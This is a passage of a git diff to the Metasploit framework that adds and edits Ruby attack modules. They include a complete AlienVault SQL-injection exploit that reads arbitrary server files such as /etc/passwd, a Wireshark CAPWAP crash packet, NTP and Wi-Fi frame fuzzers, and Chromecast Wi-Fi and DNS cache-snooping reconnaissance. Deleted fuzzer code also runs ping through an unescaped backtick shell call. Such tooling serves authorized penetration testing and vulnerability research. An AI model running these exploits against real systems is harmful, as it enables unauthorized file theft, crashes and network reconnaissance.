1.8.0 to 1.8.7, as well + as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a + packet correctly when an incorrect length is given. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Laurent Butti', # Discovery vulnerability + 'j0sm1' # Auxiliary msf module + ], + 'References' => + [ + ['CVE', '2013-4074'], + ['OSVDB', '94091'], + ['BID', '60500'] + ], + 'DisclosureDate' => 'Apr 28 2014')) + + # Protocol capwap needs port 5247 to trigger the dissector in wireshark + register_options([ Opt::RPORT(5247) ], self.class) + end + + def run + + connect_udp + + # We send a packet incomplete to crash dissector + print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...") + # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then + # the dissector crash + # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt + # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000 + buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15) + udp_sock.put(buf) + + disconnect_udp + + end +end diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index e1819f6a0e..0642f67b20 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), - OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz.", "LIST,NLST,LS,RETR" ]), + OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz (Uppercase).", "LIST,NLST,LS,RETR", nil, /(?:[A-Z]+,?)+/ ]), OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]), OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]), OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]), diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb index c341d80630..7456a48128 100644 --- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb +++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary def get_pkt - buf = sock.get + buf = sock.get_once(-1, 10) vprint_status("[in ] #{buf.inspect}") buf end diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index 0e3f0a0454..7c879f4c7b 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -455,21 +455,23 @@ class Metasploit3 < Msf::Auxiliary formidx = formidx + 1 formcnt += 1 end + if forms.size > 0 print_status(" Forms : ") end + forms.each do | thisform | print_status(" - Name : #{thisform[:name]}, ID : #{thisform[:id]}, Action : #{thisform[:action]}, Method : #{thisform[:method]}") end + return forms end - def extract_cookie(body) - return body["Set-Cookie"] - end + def set_cookie(cookie) @get_data_headers["Cookie"]=cookie @send_data[:headers]["Cookie"]=cookie end + def run init_fuzzdata() init_vars() @@ -487,10 +489,11 @@ class Metasploit3 < Msf::Auxiliary print_error("No response") return end + if datastore['HANDLECOOKIES'] - cookie = extract_cookie(response.headers) + cookie = response.get_cookies set_cookie(cookie) - print_status("Set cookie:#{cookie}") + print_status("Set cookie: #{cookie}") print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']} using cookies") response = send_request_raw( diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb new file mode 100644 index 0000000000..f4091fb74f --- /dev/null +++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb @@ -0,0 +1,215 @@ +# encoding: UTF-8 +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/ntp' +require 'securerandom' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Fuzzer + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NTP Protocol Fuzzer', + 'Description' => %q( + A simplistic fuzzer for the Network Time Protocol that sends the + following probes to understand NTP and look for anomalous NTP behavior: + + * All possible combinations of NTP versions and modes, even if not + allowed or specified in the RFCs + * Short versions of the above + * Short, invalid datagrams + * Full-size, random datagrams + * All possible NTP control messages + * All possible NTP private messages + + This findings of this fuzzer are not necessarily indicative of bugs, + let alone vulnerabilities, rather they point out interesting things + that might deserve more attention. Furthermore, this module is not + particularly intelligent and there are many more areas of NTP that + could be explored, including: + + * Warn if the response is 100% identical to the request + * Warn if the "mode" (if applicable) doesn't align with what we expect, + * Filter out the 12-byte mode 6 unsupported opcode errors. + * Fuzz the control message payload offset/size/etc. There be bugs + ), + 'Author' => 'Jon Hart ', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(123), + OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]), + OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250]) + ], self.class) + + register_advanced_options( + [ + OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']), + OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]), + OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]), + OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]), + OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil]) + ], self.class) + end + + def sleep_time + datastore['SLEEP'] / 1000.0 + end + + def check_and_set(setting) + thing = setting.upcase + const_name = thing.to_sym + var_name = thing.downcase + if datastore.key?(thing) + instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i }) + unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name) + fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty? + else + instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name)) + end + end + + def run_host(ip) + # check and set the optional advanced options + check_and_set('VERSIONS') + check_and_set('MODES') + check_and_set('MODE_6_OPERATIONS') + check_and_set('MODE_7_IMPLEMENTATIONS') + check_and_set('MODE_7_REQUEST_CODES') + + connect_udp + fuzz_version_mode(ip, true) + fuzz_version_mode(ip, false) + fuzz_short(ip) + fuzz_random(ip) + fuzz_control(ip) if @modes.include?(6) + fuzz_private(ip) if @modes.include?(7) + disconnect_udp + end + + # Sends a series of NTP control messages + def fuzz_control(host) + @versions.each do |version| + print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)") + @mode_6_operations.each do |op| + request = Rex::Proto::NTP.ntp_control(version, op) + what = "#{request.size}-byte version #{version} mode 6 op #{op} message" + vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + end + + # Sends a series of NTP private messages + def fuzz_private(host) + @versions.each do |version| + print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)") + @mode_7_implementations.each do |implementation| + @mode_7_request_codes.each do |request_code| + request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188) + what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message" + vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + end + end + + # Sends a series of small, short datagrams, looking for a reply + def fuzz_short(host) + print_status("#{host}:#{rport} fuzzing short messages") + 0.upto(4) do |size| + request = SecureRandom.random_bytes(size) + what = "short #{request.size}-byte random message" + vprint_status("#{host}:#{rport} probing with #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + + # Sends a series of random, full-sized datagrams, looking for a reply + def fuzz_random(host) + print_status("#{host}:#{rport} fuzzing random messages") + 0.upto(5) do + # TODO: is there a better way to pick this size? Should more than one be tried? + request = SecureRandom.random_bytes(48) + what = "random #{request.size}-byte message" + vprint_status("#{host}:#{rport} probing with #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + + # Sends a series of different version + mode combinations + def fuzz_version_mode(host, short) + print_status("#{host}:#{rport} fuzzing #{short ? 'short ' : nil}version and mode combinations") + @versions.each do |version| + @modes.each do |mode| + request = Rex::Proto::NTP::NTPGeneric.new + request.version = version + request.mode = mode + unless short + # TODO: is there a better way to pick this size? Should more than one be tried? + request.payload = SecureRandom.random_bytes(16) + end + what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message" + vprint_status("#{host}:#{rport} probing with #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + end + + # Sends +message+ to +host+ on UDP port +port+, returning all replies + def probe(host, port, message) + replies = [] + udp_sock.sendto(message, host, port, 0) + reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0) + while reply && reply[1] + replies << reply + reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0) + end + replies + end + + def handle_responses(host, request, responses, what) + problems = [] + descriptions = [] + responses.select! { |r| r[1] } + return if responses.empty? + responses.each do |response| + data = response[0] + descriptions << Rex::Proto::NTP.describe(data) + problems << 'large response' if request.size < data.size + ntp_req = Rex::Proto::NTP::NTPGeneric.new(request) + ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data) + problems << 'version mismatch' if ntp_req.version != ntp_resp.version + end + + problems << 'multiple responses' if responses.size > 1 + problems.sort! + problems.uniq! + + description = descriptions.join(',') + if problems.empty? + vprint_status("#{host}:#{rport} -- Received '#{description}' to #{what}") + else + print_good("#{host}:#{rport} -- Received '#{description}' to #{what}: #{problems.join(',')}") + end + end +end diff --git a/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb b/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb deleted file mode 100644 index a31e89b589..0000000000 --- a/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb +++ /dev/null @@ -1,127 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Beacon Frame Fuzzer', - 'Description' => %q{ - This module sends out corrupted beacon frames. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']), - OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"]) - ], self.class) - end - - def ping_check - 1.upto(3) do |i| - x = `ping -c 1 -n #{datastore['PING_HOST']}` - return true if x =~ /1 received/ - if (i > 1) - print_status("Host missed a ping response...") - end - end - return false - end - - def run - - srand(0) - - @@uni = 0 - - frames = [] - - open_wifi - - print_status("Sending corrupt frames...") - - while (true) - frame = create_frame() - - if (datastore['PING_HOST']) - - if (frames.length >= 5) - frames.shift - frames.push(frame) - else - frames.push(frame) - end - - 1.upto(3) do - wifi.write(frame) - if (not ping_check()) - frames.each do |f| - print_status "****************************************" - print_status f.inspect - end - return - end - end - else - wifi.write(frame) - end - end - end - - - def create_frame - mtu = 1500 # 2312 # 1514 - ies = rand(1024) - - ssid = Rex::Text.rand_text_alphanumeric(rand(256)) - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - #"\x00\x05" + # capability flags - Rex::Text.rand_text(2) + - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + channel.chr - - 1.upto(ies) do |i| - max = mtu - frame.length - break if max < 2 - t = rand(256) - l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1) - d = Rex::Text.rand_text(l) - frame += t.chr + l.chr + d - end - - return frame - - end - -end diff --git a/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb b/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb deleted file mode 100644 index 114fc89c4a..0000000000 --- a/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb +++ /dev/null @@ -1,126 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Probe Response Frame Fuzzer', - 'Description' => %q{ - This module sends out corrupted probe response frames. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']), - OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"]) - ], self.class) - end - - def ping_check - 1.upto(3) do |i| - x = `ping -c 1 -n #{datastore['PING_HOST']}` - return true if x =~ /1 received/ - if (i > 1) - print_status("Host missed a ping response...") - end - end - return false - end - - def run - - srand(0) - - @@uni = 0 - - frames = [] - - open_wifi - - print_status("Sending corrupt frames...") - - while (true) - frame = create_frame() - - if (datastore['PING_HOST']) - - if (frames.length >= 5) - frames.shift - frames.push(frame) - else - frames.push(frame) - end - - 1.upto(10) do - wifi.write(frame) - if (not ping_check()) - frames.each do |f| - print_status "****************************************" - print_status f.inspect - end - return - end - end - else - wifi.write(frame) - end - end - end - - def create_frame - mtu = 500 - ies = rand(1024) - - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - Rex::Text.rand_text(2) + # beacon interval - Rex::Text.rand_text(2) # capability flags - - ssid = Rex::Text.rand_text_alphanumeric(rand(256)) - - # ssid tag - frame << "\x00" + ssid.length.chr + ssid - - # supported rates - frame << "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" - - # current channel - frame << "\x03" + "\x01" + channel.chr - - 1.upto(ies) do |i| - max = mtu - frame.length - break if max < 2 - t = rand(256) - l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1) - d = Rex::Text.rand_text(l) - frame += t.chr + l.chr + d - end - - return frame - - end - -end diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb new file mode 100644 index 0000000000..7dc9f30ae0 --- /dev/null +++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb @@ -0,0 +1,152 @@ +## +## This module requires Metasploit: http//metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", + 'Description' => %q{ + AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG + generation PHP file. This module exploits this to read an arbitrary file from + the file system. Any authenticated user is able to exploit it, as administrator + privileges aren't required. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' #meatpistol module + ], + 'References' => + [ + ['EDB', '32644'] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Platform' => ['linux'], + 'Privileged' => false, + 'DisclosureDate' => "Mar 30 2014")) + + register_options( + [ + Opt::RPORT(443), + OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), + OptString.new('USERNAME', [ true, 'Single username' ]), + OptString.new('PASSWORD', [ true, 'Single password' ]), + OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]) + ], self.class) + + end + + def run + + print_status("#{peer} - Get a valid session cookie...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') + }) + + unless res and res.code == 200 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve a cookie") + return + end + + post = { + 'embed' => '', + 'bookmark_string' => '', + 'user' => datastore['USERNAME'], + 'passu' => datastore['PASSWORD'], + 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) + } + + print_status("#{peer} - Login...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), + 'method' => 'POST', + 'vars_post' => post, + 'cookie' => cookie + }) + + unless res and res.code == 302 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') + print_error("#{peer} - Authentication failed") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve the authenticated cookie") + return + end + + i = 0 + full = '' + filename = datastore['FILEPATH'].unpack("H*")[0] + left_marker = Rex::Text.rand_text_alpha(6) + right_marker = Rex::Text.rand_text_alpha(6) + + print_status("#{peer} - Exploiting SQLi...") + + loop do + file = sqli(left_marker, right_marker, i, cookie, filename) + return if file.nil? + break if file.empty? + + str = [file].pack("H*") + full << str + vprint_status(str) + + i = i+1 + end + + path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH']) + print_good("File stored at path: " + path) + end + + def sqli(left_marker, right_marker, i, cookie, filename) + pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," + pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," + pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" + pay << " GROUP BY x)a) AND 'xnDa'='xnDa" + + get = { + 'date_from' => pay, + 'date_to' => '2014-03-30' + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'), + 'cookie' => cookie, + 'vars_get' => get + }) + + if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/ + return $1 + else + print_error("Server did not respond in an expected way") + return nil + end + end + +end + diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index d9eeaf457c..1b654779fc 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/ return $1 else return nil diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb new file mode 100644 index 0000000000..409f3c8e83 --- /dev/null +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Wifi Enumeration', + 'Description' => %q{ + This module enumerates wireless access points through Chromecast. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ], self.class) + end + + def run + res = scan + + return unless res && res.code == 200 + + waps = Rex::Ui::Text::Table.new( + 'Header' => 'Wireless Access Points', + 'Columns' => [ + 'BSSID', + 'PWR', + 'ENC', + 'CIPHER', + 'AUTH', + 'ESSID' + ], + 'SortIndex' => -1 + ) + + JSON.parse(res.body).each do |wap| + waps << [ + wap['bssid'], + wap['signal_level'], + enc(wap), + cipher(wap), + auth(wap), + wap['ssid'] + (wap['wpa_id'] ? ' (*)' : '') + ] + end + + print_line(waps.to_s) + + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :type => 'chromecast.wifi', + :data => waps.to_csv + ) + end + + def scan + begin + send_request_raw( + 'method' => 'POST', + 'uri' => '/setup/scan_wifi', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + send_request_raw( + 'method' => 'GET', + 'uri' => '/setup/scan_results', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + + def enc(wap) + case wap['wpa_auth'] + when 1 + 'OPN' + when 2 + 'WEP' + when 5 + 'WPA' + when 0, 7 + 'WPA2' + else + wap['wpa_auth'] + end + end + + def cipher(wap) + case wap['wpa_cipher'] + when 1 + '' + when 2 + 'WEP' + when 3 + 'TKIP' + when 4 + 'CCMP' + else + wap['wpa_cipher'] + end + end + + def auth(wap) + case wap['wpa_auth'] + when 0 + 'MGT' + when 5, 7 + 'PSK' + else + '' + end + end + +end diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index bc37d89b7b..f08e3f9ed9 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptBool.new('CHECK', [false, 'Only check for vulnerability', false]), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) ], self.class) end @@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary end def check + if check_cf + return Msf::Exploit::CheckCode::Vulnerable + end + + Msf::Exploit::CheckCode::Safe + end + + def check_cf vuln = false url = '/CFIDE/adminapi/customtags/l10n.cfm' res = send_request_cgi({ @@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary return end - if(not check) + if(not check_cf) print_status("#{peer} can't be exploited (either files missing or permissions block access)") return end - if (datastore['CHECK'] ) - print_good("#{peer} is vulnerable and most likely exploitable") if check - return - end - - res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 7fc50a9bf7..6d8477af9f 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]), - OptInt.new('YEAR', [ false, "Year to look up"]), + OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]), OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]), OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]), @@ -40,19 +40,15 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'RPORT', 'VHOST', 'Proxies') end - def cleanup - datastore['RHOST'] = @old_rhost - datastore['RPORT'] = @old_rport + def rhost_corpwatch + 'api.corpwatch.org' + end + + def rport_corpwatch + 80 end def run - # Save the original rhost/rport in case the user was exploiting something else - @old_rhost = datastore['RHOST'] - @old_rport = datastore['RPORT'] - - # Initial api.corpwatch.org's rhost and rport for HttpClient - datastore['RHOST'] = 'api.corpwatch.org' - datastore['RPORT'] = 80 loot = "" uri = "/" @@ -60,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary uri << ("/companies/" + datastore['CW_ID']) res = send_request_cgi({ + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + ".xml", 'method' => 'GET' }, 25) @@ -85,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary elements = root.get_elements("result") - if elements == nil || elements.length == 0 + if elements.blank? || elements.length == 0 print_error("No results returned") return end @@ -157,6 +155,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/locations.xml", 'method' => 'GET' }, 25) @@ -227,6 +227,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/names.xml", 'method' => 'GET' }, 25) @@ -287,6 +289,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/filings.xml", 'method' => 'GET' }, 25) @@ -365,6 +369,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => child_uri, 'method' => 'GET' }, 25) @@ -444,6 +450,8 @@ class Metasploit3 < Msf::Auxiliary if datastore['GET_HISTORY'] res = send_request_cgi({ + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri + "/history.xml", 'method' => 'GET' }, 25) diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index fd678b318b..0b652988ba 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]), - OptInt.new('YEAR', [ false, "Limit results to a specific year"]), + OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]), OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]), ], self.class) @@ -39,19 +39,15 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'RPORT', 'Proxies', 'VHOST') end - def cleanup - datastore['RHOST'] = @old_rhost - datastore['RPORT'] = @old_rport + def rhost_corpwatch + 'api.corpwatch.org' + end + + def rport_corpwatch + 80 end def run - # Save the original rhost/rport in case the user was exploiting something else - @old_rhost = datastore['RHOST'] - @old_rport = datastore['RPORT'] - - # Initial api.corpwatch.org's rhost and rport for HttpClient - datastore['RHOST'] = 'api.corpwatch.org' - datastore['RPORT'] = 80 uri = "/" uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != "" @@ -59,6 +55,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi( { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, 'uri' => uri, 'method' => 'GET', 'vars_get' => @@ -104,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary elements = results.get_elements("companies") - if not elements + if elements.blank? print_error("No companies returned") return end diff --git a/modules/auxiliary/gather/dns_cache_scraper.rb b/modules/auxiliary/gather/dns_cache_scraper.rb new file mode 100644 index 0000000000..bc3294ce3a --- /dev/null +++ b/modules/auxiliary/gather/dns_cache_scraper.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/dns/resolver' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Non-Recursive Record Scraper', + 'Description' => %q{ + This module can be used to scrape records that have been cached + by a specific nameserver. The module allows the user to test + every record from a specified file. + }, + 'Author' => [ + 'Brandon McCann "zeknox" ', + 'Rob Dixon "304geek" ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://304geeks.blogspot.com/2013/01/dns-scraping-for-corporate-av-detection.html'], + ['URL', 'http://www.rootsecure.net/content/downloads/pdf/dns_cache_snooping.pdf'] + ])) + + register_options([ + OptString.new('DOMAIN', [ false, "Domain name to query for"]), + OptPath.new('WORDLIST', [ false, "Wordlist for domain name queries", ::File.join(Msf::Config.data_directory, "wordlists", "av-update-urls.txt")]), + OptAddress.new('NS', [ true, "Specify the nameserver to use for queries" ]), + ], self.class) + + register_advanced_options([ + OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]), + OptInt.new('DNS_TIMEOUT', [true, "DNS Timeout in seconds", 5]) + ], self.class) + end + + # method to scrape dns + def scrape_dns(domain) + + # dns request with recursive disabled + use_tcp = datastore['TCP_DNS'] + res = Net::DNS::Resolver.new(:nameservers => "#{datastore['NS']}", :recursive => false, :use_tcp => use_tcp) + use_tcp ? res.tcp_timeout = datastore['DNS_TIMEOUT'] : res.udp_timeout = 